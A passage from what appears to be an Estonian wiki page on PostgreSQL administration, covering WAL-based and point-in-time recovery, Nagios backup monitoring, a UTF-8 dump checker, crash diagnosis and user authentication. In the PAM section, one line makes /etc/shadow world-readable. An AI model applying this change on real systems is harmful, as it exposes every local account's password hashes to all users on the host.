* andmeklustri failisüsteemi täiskoopia&lt;br /&gt;
* peale täiskoopia moodustamist kogunenud WAL logid, vähemalt kuni 'select pg_stop_backup();' ütlemiseni&lt;br /&gt;
* veel arhiveerimata WAL logid kataloogist pg_xlog (kui need on olemas ja võimalusel kopeerida suletud andmebaasi tingimustes)&lt;br /&gt;
&lt;br /&gt;
Andmebaasi saab taastada sellise tegevuste järgnevuse abil&lt;br /&gt;
&lt;br /&gt;
* Andmebaasi mootor ei käi&lt;br /&gt;
* Kopeerida andmebaasi andmeklustri failisüsteemi (nt /srv/postgresql) varundamise käigus moodustatud täiskoopia&lt;br /&gt;
* Kustutada /srv/postgresql/pg_xlog kataloogist failid (alamkaataloog archive_status alles jätta, uuemal ajal võib ka selle kustutada, moodustatakse automaatselt tagasi, v 8.4 ja 9.0 puhul)&lt;br /&gt;
&lt;br /&gt;
  $ find /srv/postgresql/pg_xlog -type f -exec rm {} \;&lt;br /&gt;
&lt;br /&gt;
* Kui on võimaik, kopeerida viimati töötanud andmebaasi failisüsteemist /srv/postgresql/pg_xlog kataloogist failid taastatava arvuti vastavasse kataloogi&lt;br /&gt;
* Tekitada nt sellise sisuga fail /srv/postgresql/recovery.conf andmeklusteri kataloogi, fail peab olema postgres kasutaja oma, sest peale protseduuri lõppu nimetatakse see fail ringi recovery.done nimega; restore_command näitab, kus WAL logid asuvad&lt;br /&gt;
&lt;br /&gt;
  restore_command = 'cp /srv/backup/postgresql/archive-logs/%f %p'&lt;br /&gt;
&lt;br /&gt;
* Paigutada WAL logid kataloogi /srv/backup/postgresql/archive-logs&lt;br /&gt;
* Andmeklustri kataloogis peab olema fail backup_label, millest saab süsteem taasteks kasutatava esimese wal logi faili nime teada, tegevuse käigus nimetatakse see ümber backup_label.old'iks&lt;br /&gt;
* Ajutiselt baasi seadistusfailist WAL logide arhiveerimist välja lülitada ei ole vaja&lt;br /&gt;
* Käivitada andmebaas tavapäraselt viisil&lt;br /&gt;
&lt;br /&gt;
Käivitamisel tekivad sellised sissekanded andmebaasi logisse&lt;br /&gt;
&lt;br /&gt;
  2009-04-04 23:53:33 EEST    7318  49d7c8cd.1c96  1 2009-04-04 23:53:33 EEST 0 LOG:  database system was interrupted; last known up at 2009-04-04 22:13:52 EEST&lt;br /&gt;
  2009-04-04 23:53:33 EEST    7318  49d7c8cd.1c96  2 2009-04-04 23:53:33 EEST 0 LOG:  starting archive recovery&lt;br /&gt;
  2009-04-04 23:53:33 EEST    7318  49d7c8cd.1c96  3 2009-04-04 23:53:33 EEST 0 LOG:  restore_command = 'cp /data/backup/postgresql/archive-logs/%f %p'&lt;br /&gt;
  cp: stat `/data/backup/postgresql/archive-logs/00000001.history' ei Ãµnnestu: No such file or directory&lt;br /&gt;
  2009-04-04 23:53:34 EEST    7318  49d7c8cd.1c96  4 2009-04-04 23:53:33 EEST 0 LOG:  restored log file &amp;quot;000000010000004600000059&amp;quot; from archive&lt;br /&gt;
  2009-04-04 23:53:34 EEST    7318  49d7c8cd.1c96  5 2009-04-04 23:53:33 EEST 0 LOG:  automatic recovery in progress&lt;br /&gt;
  2009-04-04 23:53:34 EEST    7318  49d7c8cd.1c96  6 2009-04-04 23:53:33 EEST 0 LOG:  redo starts at 46/59DB60E0&lt;br /&gt;
  2009-04-04 23:53:34 EEST    7318  49d7c8cd.1c96  7 2009-04-04 23:53:33 EEST 0 LOG:  restored log file &amp;quot;00000001000000460000005A&amp;quot; from archive&lt;br /&gt;
  2009-04-04 23:53:35 EEST    7318  49d7c8cd.1c96  8 2009-04-04 23:53:33 EEST 0 LOG:  restored log file &amp;quot;00000001000000460000005B&amp;quot; from archive&lt;br /&gt;
  2009-04-04 23:53:35 EEST    7318  49d7c8cd.1c96  9 2009-04-04 23:53:33 EEST 0 LOG:  restored log file &amp;quot;00000001000000460000005C&amp;quot; from archive&lt;br /&gt;
  2009-04-04 23:53:36 EEST    7318  49d7c8cd.1c96  10 2009-04-04 23:53:33 EEST 0 LOG:  restored log file &amp;quot;00000001000000460000005D&amp;quot; from archive&lt;br /&gt;
  cp: stat `/data/backup/postgresql/archive-logs/00000001000000460000005E' ei Ãµnnestu: No such file or directory&lt;br /&gt;
  2009-04-04 23:53:37 EEST    7318  49d7c8cd.1c96  11 2009-04-04 23:53:33 EEST 0 LOG:  record with zero length at 46/5E2CC3A0&lt;br /&gt;
  2009-04-04 23:53:37 EEST    7318  49d7c8cd.1c96  12 2009-04-04 23:53:33 EEST 0 LOG:  redo done at 46/5E2CC358&lt;br /&gt;
  2009-04-04 23:53:37 EEST    7318  49d7c8cd.1c96  13 2009-04-04 23:53:33 EEST 0 LOG:  last completed transaction was at log time 2009-04-04 23:47:30.504329+03&lt;br /&gt;
  cp: stat `/data/backup/postgresql/archive-logs/00000001000000460000005E' ei Ãµnnestu: No such file or directory&lt;br /&gt;
  2009-04-04 23:53:37 EEST    7318  49d7c8cd.1c96  14 2009-04-04 23:53:33 EEST 0 LOG:  restored log file &amp;quot;00000002.history&amp;quot; from archive&lt;br /&gt;
  cp: stat `/data/backup/postgresql/archive-logs/00000003.history' ei Ãµnnestu: No such file or directory&lt;br /&gt;
  2009-04-04 23:53:37 EEST    7318  49d7c8cd.1c96  15 2009-04-04 23:53:33 EEST 0 LOG:  selected new timeline ID: 3&lt;br /&gt;
  cp: stat `/data/backup/postgresql/archive-logs/00000001.history' ei Ãµnnestu: No such file or directory&lt;br /&gt;
  2009-04-04 23:53:38 EEST    7318  49d7c8cd.1c96  16 2009-04-04 23:53:33 EEST 0 LOG:  archive recovery complete&lt;br /&gt;
  2009-04-04 23:53:52 EEST    7316  49d7c8cd.1c94  2 2009-04-04 23:53:33 EEST 0 LOG:  database system is ready to accept connections&lt;br /&gt;
&lt;br /&gt;
Korrektsel juhutumil hakatakse kasutama logisid alates sellest failis mis on backup_label failis kirjas stop wal location juures.&lt;br /&gt;
&lt;br /&gt;
Ehk on ka logide sisselugemisel huvitav jälgida millised postgres kasutaja protsessid samal aja töötavad&lt;br /&gt;
&lt;br /&gt;
  $ ps aux | grep postgres&lt;br /&gt;
  ...&lt;br /&gt;
  postgres  2080 13.0 12.7 1125532 1073016 ?     Ss   21:48   1:30 postgres: startup process   waiting for 00000001000000460000005B&lt;br /&gt;
  postgres  2468  9.0  0.0   9420   732 ?        D    22:00   0:00 cp /mnt/archive-logs/00000001000000460000005B pg_xlog/RECOVERYXLOG&lt;br /&gt;
&lt;br /&gt;
Peale logide sisselugemist jääb andmebaas käima nö kasutataval kujul. Kui protseduuri käigus oli WAL logide arhiveerimine välja lülitatud, tuleks baas siiski korraks kinni panna, logimine sisse lülitada ning uuesti käivitada.&lt;br /&gt;
&lt;br /&gt;
====Andmebaasi taastamine WAL logide abil kuni ettenähtud ajahetkeni====&lt;br /&gt;
&lt;br /&gt;
Olgu andmebaasi arvutis juhtunud mingi selline sündmus, mille tulemusena tuleb varundusest andmebaas taastada ettenähtud ajahetkeni (ingl. k. PITR - Point in Time Recovery).&lt;br /&gt;
&lt;br /&gt;
Lähtepunktiks on tarvis kolme asja&lt;br /&gt;
&lt;br /&gt;
* Samal arhitektuuril ja versiooniga andmebaasi nn binari install kui see, mida varundati&lt;br /&gt;
* andmeklustri failisüsteemi täiskoopia&lt;br /&gt;
* peale täiskoopia moodustamist kogunenud WAL logid, vähemalt kuni 'select pg_stop_backup();' ütlemiseni&lt;br /&gt;
&lt;br /&gt;
Andmebaasi saab taastada sellise tegevuste järgnevuse abil&lt;br /&gt;
&lt;br /&gt;
* Andmebaasi mootor ei käi&lt;br /&gt;
* Kopeerida andmebaasi andmeklustri failisüsteemi (nt /srv/postgresql) varundamise käigus moodustatud täiskoopia&lt;br /&gt;
* Kustutada /srv/postgresql/pg_xlog kataloogist failid (alamkaataloog archive_status alles jätta)&lt;br /&gt;
&lt;br /&gt;
  $ find /data/postgresql/pg_xlog -type f -exec rm {} \;&lt;br /&gt;
&lt;br /&gt;
* Andmeklustri kataloogis peab olema fail backup_label, millest saab süsteem taasteks kasutatava esimese wal logi faili nime teada, tegevuse käigus nimetatakse see ümber backup_label.old'iks&lt;br /&gt;
* Tekitada nt sellise sisuga fail /srv/postgresql/recovery.conf andmeklusteri kataloogi, fail peab olema postgres kasutaja oma, sest peale protseduuri lõppu nimetatakse see fail ringi recovery.done nimega; restore_command näitab, kus WAL logid asuvad (http://www.postgresql.org/docs/8.3/static/datetime-keywords.html)&lt;br /&gt;
&lt;br /&gt;
  restore_command = 'cp /srv/backup/postgresql/archive-logs/%f %p'&lt;br /&gt;
  recovery_target_time = '2009-04-20 22:39:00 EETDST'&lt;br /&gt;
&lt;br /&gt;
* Paigutada WAL logid kataloogi /srv/backup/postgresql/archive-logs&lt;br /&gt;
* Lülitada ajutiselt baasi seadistusfailis WAL logide arhiveerimine välja&lt;br /&gt;
* Käivitada andmebaas tavapäraselt viisil&lt;br /&gt;
&lt;br /&gt;
Peale logide sisselugemist jääb andmebaas käima nö kasutataval kujul. Kuna protseduuri käigus oli WAL logide arhiveerimine välja lülitatud, tuleks baas siiski korraks kinni panna, logimine sisse lülitada ning uuesti käivitada.&lt;br /&gt;
&lt;br /&gt;
Ajahetkeni taastamisel tekib selline log, muuhulgas öeldakse kuhu maani taastati&lt;br /&gt;
&lt;br /&gt;
  2009-04-24 22:15:14 EEST    2655  49f20e37.a5f  150 2009-04-24 22:08:39 EEST 0 LOG:  restored log file &amp;quot;000000040000004C0000004C&amp;quot; from archive&lt;br /&gt;
  2009-04-24 22:15:15 EEST    2655  49f20e37.a5f  151 2009-04-24 22:08:39 EEST 0 LOG:  restored log file &amp;quot;000000040000004C0000004D&amp;quot; from archive&lt;br /&gt;
  2009-04-24 22:15:16 EEST    2655  49f20e37.a5f  152 2009-04-24 22:08:39 EEST 0 LOG:  recovery stopping before commit of transaction 95521631, time 2009-04-20 22:39:00.001938+03&lt;br /&gt;
  2009-04-24 22:15:16 EEST    2655  49f20e37.a5f  153 2009-04-24 22:08:39 EEST 0 LOG:  redo done at 4C/4D8E6BD0&lt;br /&gt;
  2009-04-24 22:15:16 EEST    2655  49f20e37.a5f  154 2009-04-24 22:08:39 EEST 0 LOG:  last completed transaction was at log time 2009-04-20 22:38:59.779467+03&lt;br /&gt;
  cp: stat `/data/backup/postgresql/archive-logs/00000005.history' ei Ãµnnestu: No such file or directory&lt;br /&gt;
  2009-04-24 22:15:16 EEST    2655  49f20e37.a5f  155 2009-04-24 22:08:39 EEST 0 LOG:  selected new timeline ID: 5&lt;br /&gt;
  2009-04-24 22:15:16 EEST    2655  49f20e37.a5f  156 2009-04-24 22:08:39 EEST 0 LOG:  restored log file &amp;quot;00000004.history&amp;quot; from archive&lt;br /&gt;
  2009-04-24 22:15:17 EEST    2655  49f20e37.a5f  157 2009-04-24 22:08:39 EEST 0 LOG:  archive recovery complete&lt;br /&gt;
  2009-04-24 22:15:46 EEST    2653  49f20e36.a5d  2 2009-04-24 22:08:38 EEST 0 LOG:  database system is ready to accept connections&lt;br /&gt;
&lt;br /&gt;
Ajahetkeni taastamisel peab arvestama, et see aega saab olla peale pg_stop_backup ütlemise ajahetke ja arusaadaval ei saa see olla hilisem kui on kasutada wal logisid.&lt;br /&gt;
&lt;br /&gt;
====Varundamise monitooring Nagiose passiivse kontrolliga====&lt;br /&gt;
&lt;br /&gt;
Varundamise skript lõppu tuleb lisada&lt;br /&gt;
&lt;br /&gt;
 if [ $ec_psql -eq 0 ] &amp;amp;&amp;amp; [ $ec_rsync -eq 0 -o $ec_rsync -eq 24 ]; then&lt;br /&gt;
   echo -e &amp;quot;db.loomaaed\tbackup\t0\tbackup korras&amp;quot; | send_nsca -c /etc/send_nsca.cfg -H mon.loomaaed -p 5667&lt;br /&gt;
 else&lt;br /&gt;
   echo -e &amp;quot;db.loomaaed\tbackup\t2\tbackup katki&amp;quot; | send_nsca -c /etc/send_nsca.cfg -H mon.loomaaed -p 5667&lt;br /&gt;
 fi&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* juhtumil kui psql või rsync käsud on õnnestunud saadatetakse korras nagiosele signaal&lt;br /&gt;
* juhtumil kui psql või rsync käsud on õnnestunud saadatetakse katki nagiosele signaal&lt;br /&gt;
&lt;br /&gt;
ning Nagioses kirjeldada passiivne kontroll&lt;br /&gt;
&lt;br /&gt;
 define service {  &lt;br /&gt;
   host_name                  www-1.auul &lt;br /&gt;
   service_description        backup&lt;br /&gt;
   use                        passive-generic-service&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
===Andmebaasi UTF-8 kodeeringuvigade parandamine===&lt;br /&gt;
&lt;br /&gt;
Järnev skript kontrollib sisendisse antud sql dump faili vastavust utf8 kodeeringule ning väljastab vigaste kirjete kohta andmed&lt;br /&gt;
&lt;br /&gt;
 #!/usr/bin/python&lt;br /&gt;
 import sys, time&lt;br /&gt;
 &lt;br /&gt;
 rownr = 0&lt;br /&gt;
 t0 = t1 = time.time()&lt;br /&gt;
 next = sys.stdin.readline&lt;br /&gt;
 &lt;br /&gt;
 errors = open('utf8errors.log','w')&lt;br /&gt;
 &lt;br /&gt;
 while 1:&lt;br /&gt;
     row = next()&lt;br /&gt;
     if not row:&lt;br /&gt;
         break&lt;br /&gt;
     try:&lt;br /&gt;
         urow = row.decode('utf8')&lt;br /&gt;
     except:&lt;br /&gt;
         print row&lt;br /&gt;
         errors.write(row)&lt;br /&gt;
     rownr += 1&lt;br /&gt;
     if rownr % 1000000 == 0:&lt;br /&gt;
         t2 = time.time()&lt;br /&gt;
         print rownr, t2 - t1, t2 - t0&lt;br /&gt;
         t1 = t2&lt;br /&gt;
 &lt;br /&gt;
 print 'Done!'&lt;br /&gt;
 t2 = time.time()&lt;br /&gt;
 print rownr, t2 - t1, t2 - t0&lt;br /&gt;
&lt;br /&gt;
Kasutamine toimub öeldes&lt;br /&gt;
&lt;br /&gt;
  $ cat dump.sql | ./utf8check.py&lt;br /&gt;
&lt;br /&gt;
===Misc===&lt;br /&gt;
&lt;br /&gt;
* show &amp;lt;tab&amp;gt; - esitab nimekirja võimalikest küsimustest, nt&lt;br /&gt;
&lt;br /&gt;
  show max_connections;&lt;br /&gt;
  max_connections &lt;br /&gt;
 -----------------&lt;br /&gt;
  100&lt;br /&gt;
 (1 row)&lt;br /&gt;
&lt;br /&gt;
* Andmebaasi poolt failisüsteemis kasutatud mahu küsimine, sisaldab indekseid&lt;br /&gt;
&lt;br /&gt;
 sql&amp;gt; SELECT pg_size_pretty(pg_database_size('andmebaasinimi')) As fulldbsize;&lt;br /&gt;
&lt;br /&gt;
* Tabeli suuruse küsimine&lt;br /&gt;
&lt;br /&gt;
 sql&amp;gt; SELECT pg_size_pretty(pg_total_relation_size('skeeminimi.tabelinimi')) As fulltblsize, \&lt;br /&gt;
   pg_size_pretty(pg_relation_size('skeeminimi.tabelinimi')) As justthetblsize;&lt;br /&gt;
&lt;br /&gt;
* Kui andmebaasi vacuumil esineb anomaaliaid, siis võib olla abiks baasi vacuumimine tabeli kaupa. Tabelite nimekirja saab küsida andmebaasilt öeldes&lt;br /&gt;
&lt;br /&gt;
 $ psql -U postgres -h hostname -c &amp;quot;select n.nspname||'.'||c.relname from pg_class c join pg_namespace n on \&lt;br /&gt;
   (c.relnamespace=n.oid) where relkind='r' order by 1;&amp;quot; baasinimi &amp;gt; vacuum-tabelid.txt&lt;br /&gt;
&lt;br /&gt;
ning saadud nimekirja abil toimub vakumeerimine öeldes&lt;br /&gt;
&lt;br /&gt;
 $ for i in `cat vacuum-tabelid.txt`; do psql -c &amp;quot;vacuum verbose analyze $i&amp;quot; -U postgres -h hostname -p5432 baasinimi \&lt;br /&gt;
   1&amp;gt; $i-1.log 2&amp;gt; $i-2.log; sleep 5; done&lt;br /&gt;
&lt;br /&gt;
* v. 8.4 - failinime järgi tabeli leidmine, kui failisüsteemis on suured failid ja tekib küsimus, millise tabeliga on nad seotud, sobib öelda nii&lt;br /&gt;
&lt;br /&gt;
 $ du -sk /data/postgresql/8.4/main/base/16400/* | sort -n | tail -n 4&lt;br /&gt;
 1049604 /data/postgresql/8.4/main/base/16400/195106.6&lt;br /&gt;
 1049604 /data/postgresql/8.4/main/base/16400/195106.7&lt;br /&gt;
 1049604 /data/postgresql/8.4/main/base/16400/195106.8&lt;br /&gt;
 1049604 /data/postgresql/8.4/main/base/16400/195106.9&lt;br /&gt;
&lt;br /&gt;
 $ /usr/lib/postgresql/8.4/bin/oid2name -H 127.0.0.1 -U postgres -d loomaaed -f 195106 -x&lt;br /&gt;
 From database &amp;quot;loomaaed&amp;quot;:&lt;br /&gt;
  Filenode       Table Name     Oid    Schema  Tablespace&lt;br /&gt;
 ---------------------------------------------------------&lt;br /&gt;
    195106  pg_toast_195103  195106  pg_toast  pg_default&lt;br /&gt;
&lt;br /&gt;
 $ /usr/lib/postgresql/8.4/bin/oid2name -H 127.0.0.1 -U postgres -d loomaaed -f 195103 -x&lt;br /&gt;
 From database &amp;quot;loomaaed&amp;quot;:&lt;br /&gt;
  Filenode             Table Name    Oid  Schema  Tablespace&lt;br /&gt;
 ------------------------------------------------------------&lt;br /&gt;
    195103  tabelinimi  74224  wizard  pg_default&lt;br /&gt;
&lt;br /&gt;
Tulumusena on teada, et 195106.6 fail on seotud wizard.tabelinimi tabeliga.&lt;br /&gt;
&lt;br /&gt;
* v. 9.4 - failinime järgi tabeli leidmine, kui failisüsteemis on suured failid ja tekib küsimus, millise tabeliga on nad seotud, sobib öelda nii&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# \c baasinimi&lt;br /&gt;
baasinimi=# select pg_filenode_relation(0,233328054);&lt;br /&gt;
 pg_filenode_relation &lt;br /&gt;
----------------------&lt;br /&gt;
 baasinimi&lt;br /&gt;
(1 row)&lt;br /&gt;
&lt;br /&gt;
baasinimi=# select pg_relation_filepath('tabelinimi');&lt;br /&gt;
 pg_relation_filepath &lt;br /&gt;
----------------------&lt;br /&gt;
 base/16424/233328054&lt;br /&gt;
(1 row)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Andmebaasi krahh===&lt;br /&gt;
&lt;br /&gt;
Andmebaasi krahh (ingl. k. crash) on selline olukord kus andmebaasi töö on lõppenud ilma nö normaalselt andmebaasi protsesse seisates, nt öeldes&lt;br /&gt;
&lt;br /&gt;
 # pg_ctlcluster 9.2 main stop&lt;br /&gt;
&lt;br /&gt;
Krahh võivad tekkida nt järgmistel juhtudel&lt;br /&gt;
&lt;br /&gt;
* seoses operatsioonisüsteemi krahhiga (nt arvutil kaob toide)&lt;br /&gt;
* andmefailide failisüsteem saab täis&lt;br /&gt;
* andmebaasi ise või mõni moodul kasutab mälu valesti ja kogu baasi töö lõpetatakse (andmebaasi teeb endale ise restardi)&lt;br /&gt;
&lt;br /&gt;
====Anmdmebaasi käivitamine peale krahhi====&lt;br /&gt;
&lt;br /&gt;
Üldiselt PostgreSQL andmebaas ei lähe krahhi tulemusena katki, andmebaas kasutab failisüsteemi sellisel viisil, et järgmisel käivitamisel jõuab baas viimase töötava seisuni (transaktsioonini) ja jätkab sealt. Midagi erilist pole teha vaja lisaks tavalisele baasi käivitamisel, logisse kirjutatakse seejuures&lt;br /&gt;
&lt;br /&gt;
 TODO&lt;br /&gt;
&lt;br /&gt;
====Krahh PITR varundamise ajal====&lt;br /&gt;
&lt;br /&gt;
Kui enamusel juhtudel peale krahhi toimumist piisab andmebaas tavalisel moel käivitada ja ta jätkab tööd, siis PITR backupi (st pg_start_backup/pg_stop_backup) tegemise ajal toimunud krahhi puhul on andmeklastri kataloogis ees fail, mis segab käivitumist&lt;br /&gt;
&lt;br /&gt;
 /data/postgresql/backup_label&lt;br /&gt;
&lt;br /&gt;
Samal ajal öeldakse logisse&lt;br /&gt;
&lt;br /&gt;
 2013-03-20 12:10:25 EET    15966  51498b11.3e5e  1 2013-03-20 12:10:25 EET 0 LOG:  database system was interrupted; last known up at 2013-03-20 12:10:09 EET&lt;br /&gt;
 2013-03-20 12:10:25 EET    15966  51498b11.3e5e  2 2013-03-20 12:10:25 EET 0 LOG:  could not open file &amp;quot;pg_xlog/00000001000005E600000008&amp;quot; (log file 1510, segment 8): \&lt;br /&gt;
   No such file or  directory&lt;br /&gt;
 2013-03-20 12:10:25 EET    15966  51498b11.3e5e  3 2013-03-20 12:10:25 EET 0 LOG:  invalid checkpoint record&lt;br /&gt;
 2013-03-20 12:10:25 EET    15966  51498b11.3e5e  4 2013-03-20 12:10:25 EET 0 PANIC:  could not locate required checkpoint record&lt;br /&gt;
 2013-03-20 12:10:25 EET    15966  51498b11.3e5e  5 2013-03-20 12:10:25 EET 0 HINT:  If you are not restoring from a backup, try removing the file &amp;quot;/data/postgresql/backup_label&amp;quot;.&lt;br /&gt;
 2013-03-20 12:10:25 EET batchmanager portaal 127.0.0.1(50593) 15969  51498b11.3e61  1 2013-03-20 12:10:25 EET 0 FATAL:  the database system is in recovery mode&lt;br /&gt;
 2013-03-20 12:10:25 EET eit1 xportal 10.100.6.75(55188) 15970  51498b11.3e62  1 2013-03-20 12:10:25 EET 0 FATAL:  the database system is in recovery mode&lt;br /&gt;
 2013-03-20 12:10:25 EET    21687  513baab9.54b7  37 2013-03-09 23:33:45 EET 0 LOG:  startup process (PID 15966) was terminated by signal 6: Aborted&lt;br /&gt;
 2013-03-20 12:10:25 EET    21687  513baab9.54b7  38 2013-03-09 23:33:45 EET 0 LOG:  aborting startup due to startup process failure&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* on näha, et baasi käivitamisega on probleem&lt;br /&gt;
* HINT annab teada, mida teha, tuleb eemaldada pg_start_backup() ütlemisega tekitatud fail backup_label&lt;br /&gt;
&lt;br /&gt;
 $ rm /data/postgresql/backup_label&lt;br /&gt;
&lt;br /&gt;
Seejärel võib baasi tavapärasel viisil edasi kasutada&lt;br /&gt;
&lt;br /&gt;
====Krahhi uurimine====&lt;br /&gt;
&lt;br /&gt;
* Kui nt PL keeles tehtud protseduur kasutab mõnda teeki, mis omakorda kasutab mõnda teeki, mida aga failisüsteemis ei ole, siis tavaliselt andmebaas crashib teatega&lt;br /&gt;
&lt;br /&gt;
 2010-05-24 16:10:09 EEST    21463  4bf28ed8.53d7  3 2010-05-18 15:58:00 EEST 0 LOG:  server process (PID 32188) exited with exit code 12&lt;br /&gt;
 2010-05-24 16:10:09 EEST    21463  4bf28ed8.53d7  4 2010-05-18 15:58:00 EEST 0 LOG:  terminating any other active server processes&lt;br /&gt;
&lt;br /&gt;
Põhjusele võib aidata jälile jõuda mainitud PID väärtust eestpoolt logist otsides, nt antud juhtumil&lt;br /&gt;
&lt;br /&gt;
 2010-05-24 16:01:19 EEST gateway portaal 127.0.0.1(57375) 32188 SELECT 4bfa789f.7dbc SELECT 1 2010-05-24 16:01:19 EEST 0 \&lt;br /&gt;
   WARNING:  error from Perl function &amp;quot;sqlora&amp;quot;: install_driver(Oracle) failed: Can't load&lt;br /&gt;
   '/usr/local/lib/perl/5.8.8/auto/DBD/Oracle/Oracle.so' for module DBD::Oracle: libclntsh.so.10.1: cannot open shared object file: \&lt;br /&gt;
   No such file or directory at /usr/lib/perl/5.8/DynaLoader.pm line 225.&lt;br /&gt;
         at line 5&lt;br /&gt;
        Compilation failed in require at line 3.&lt;br /&gt;
        Perhaps a required shared library or dll isn't installed where expected&lt;br /&gt;
         at line 11&lt;br /&gt;
 2010-05-24 16:01:19 EEST gateway portaal 127.0.0.1(57375) 32188 SELECT 4bfa789f.7dbc SELECT 2 2010-05-24 16:01:19 EEST 0 \&lt;br /&gt;
   CONTEXT:  PL/pgSQL function &amp;quot;low&amp;quot; line 2 at RETURN&lt;br /&gt;
        PL/pgSQL function &amp;quot;field&amp;quot; line 335 at assignment&lt;br /&gt;
        PL/pgSQL function &amp;quot;sisu&amp;quot; line 502 at assignment&lt;br /&gt;
        PL/pgSQL function &amp;quot;show&amp;quot; line 56 at assignment&lt;br /&gt;
 Out of memory!&lt;br /&gt;
&lt;br /&gt;
===Andmebaasi monitooring===&lt;br /&gt;
&lt;br /&gt;
* Üheks andmebaasi oluliseks andmebaasi seisundit iseloomustavaks näitajaks on kui kaugel ta on nn wraparound ajast, arv peab olema alati alla 2g ja seda hoiab väiksena korrapärane andmebaasi vakumeerimine&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; SELECT relname, age(relfrozenxid) FROM pg_class WHERE relkind = 'r';&lt;br /&gt;
 SQL&amp;gt; SELECT datname, age(datfrozenxid) FROM pg_database;&lt;br /&gt;
&lt;br /&gt;
* Andmebaasi sisemisi näitajaid sobib kasutada Cactiga graafikute joonistamiseks või Nagiosegaga alarmi saatmiseks, nt http://bucardo.org/wiki/Check_postgres.&lt;br /&gt;
&lt;br /&gt;
Kasulikud materjalid&lt;br /&gt;
&lt;br /&gt;
* http://kuutorvaja.eenet.ee/wiki/Nagiose_kasutamine_Debian_Lenniga#PostgreSQL&lt;br /&gt;
&lt;br /&gt;
===Failisüsteemi kasutamine===&lt;br /&gt;
&lt;br /&gt;
Tekst http://www.postgresql.org/docs/9.0/static/storage-file-layout.html kirjeldab kuidas PostgreSQL andmebaas kasutab failisüsteemi&lt;br /&gt;
&lt;br /&gt;
 faili-või kataooginimi	  Kirjeldus&lt;br /&gt;
 PG_VERSION	          A file containing the major version number of PostgreSQL&lt;br /&gt;
 base	                  Subdirectory containing per-database subdirectories&lt;br /&gt;
 global	                  Subdirectory containing cluster-wide tables, such as pg_database&lt;br /&gt;
 pg_clog	          Subdirectory containing transaction commit status data&lt;br /&gt;
 pg_multixact	          Subdirectory containing multitransaction status data (used for shared row locks)&lt;br /&gt;
 pg_notify	          Subdirectory containing LISTEN/NOTIFY status data&lt;br /&gt;
 pg_stat_tmp	          Subdirectory containing temporary files for the statistics subsystem&lt;br /&gt;
 pg_subtrans	          Subdirectory containing subtransaction status data&lt;br /&gt;
 pg_tblspc	          Subdirectory containing symbolic links to tablespaces&lt;br /&gt;
 pg_twophase         	  Subdirectory containing state files for prepared transactions&lt;br /&gt;
 pg_xlog	          Subdirectory containing WAL (Write Ahead Log) files&lt;br /&gt;
 postmaster.opts	  A file recording the command-line options the server was last started with&lt;br /&gt;
 postmaster.pid	          A lock file recording the current server PID and shared memory segment ID (not present after server shutdown&lt;br /&gt;
&lt;br /&gt;
Andmebaaside OID väärtusi kasutadakse failisüteemis kataloogis base asuvate andmebaasidele vastavate kataloogide nimedena&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; SELECT datname, oid FROM pg_database;&lt;br /&gt;
&lt;br /&gt;
Andmebaasi kataloogis asub selliseid faile&lt;br /&gt;
&lt;br /&gt;
* tabelitele ja indeksitele vastavad failid, mille nimedena kasutatakse üldiselt vastavad OID väärtusi&lt;br /&gt;
* tabeli ja indeksi failiga kaasnevad vastavad *_fsm ja *_vm failid, mis on vastavalt free space map ning visibility map&lt;br /&gt;
* kui tabeli 8kB suurusse pagesse ei mahu tabeli rida ära, siis kasutatakse vastavate andmete hoidmiseks TOAST (The Oversized-Attribute Storage Technique) faili&lt;br /&gt;
* kui tabeli on üle 1 GB suur, siis hoitakse vastavaid andmeid OID.1, OID.2 jne nimelistes failides&lt;br /&gt;
&lt;br /&gt;
Tabeli nimi, oid väärtuse, kasutatud 8kB lehted ja tabelis sisalduvate korteežide arvu kohta saab küsida selliselt&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; select relname, oid, relpages, reltuples from pg_class limit 10;&lt;br /&gt;
          relname          |  oid  | relpages | reltuples &lt;br /&gt;
 --------------------------+-------+----------+-----------&lt;br /&gt;
  priidutabel              |  1247 |        7 |       283&lt;br /&gt;
  marditabel               | 11550 |        0 |         0&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
contrib utiliit oid2name abil saab küsida oid väärtusele vastavat tabelinime&lt;br /&gt;
&lt;br /&gt;
 $ /usr/lib/postgresql/8.4/bin/oid2name -H 127.0.0.1 -U postgres -d rsyslog -f 2755 -x &lt;br /&gt;
 From database &amp;quot;loomdb&amp;quot;:&lt;br /&gt;
   Filenode             Table Name   Oid      Schema  Tablespace&lt;br /&gt;
 ---------------------------------------------------------------&lt;br /&gt;
       2755            priidutabel  2755       priit  pg_default&lt;br /&gt;
&lt;br /&gt;
===Kasutaja autentimine===&lt;br /&gt;
&lt;br /&gt;
Vaikimisi toimub andmebaasi kasutaja autentimine selliselt, et&lt;br /&gt;
&lt;br /&gt;
* baasi saab üle võrgu sisse logida baasis kirjeldatud kasutaja oma baasis kirjeldatud parooliga&lt;br /&gt;
* baasi saab lokaalselt sisse logida kasutaja, kelle unix kasutajanimi klapib baasis kirjeldatud kasutajanimega&lt;br /&gt;
&lt;br /&gt;
====Kasutaja autentimine /etc/passwd abil====&lt;br /&gt;
&lt;br /&gt;
Andmebaasi kasutaja autentimiseks nö süsteemi lokaalse kasutajana sobib kasutada pg_hba.conf failis nt rida&lt;br /&gt;
&lt;br /&gt;
 host all all 0.0.0.0/0 pam&lt;br /&gt;
&lt;br /&gt;
ning muuta /etc/shadow faili loabit, seejuures tuleb ise hinnata, kas see muudatus on aktsepteeritav&lt;br /&gt;
&lt;br /&gt;
 # chmod o+r /etc/shadow&lt;br /&gt;
&lt;br /&gt;
====Kasutaja autentimine Kerberosega====&lt;br /&gt;
&lt;br /&gt;
Kerberose kasutaja autentimiseks Kerberosega peab olema kasutada Kerberose infrastruktuur, nt selline nagu kirjeldatud tekstis [[:MIT Kerberose kasutamine Debianiga]]. Lisaks tuleb&lt;br /&gt;
&lt;br /&gt;
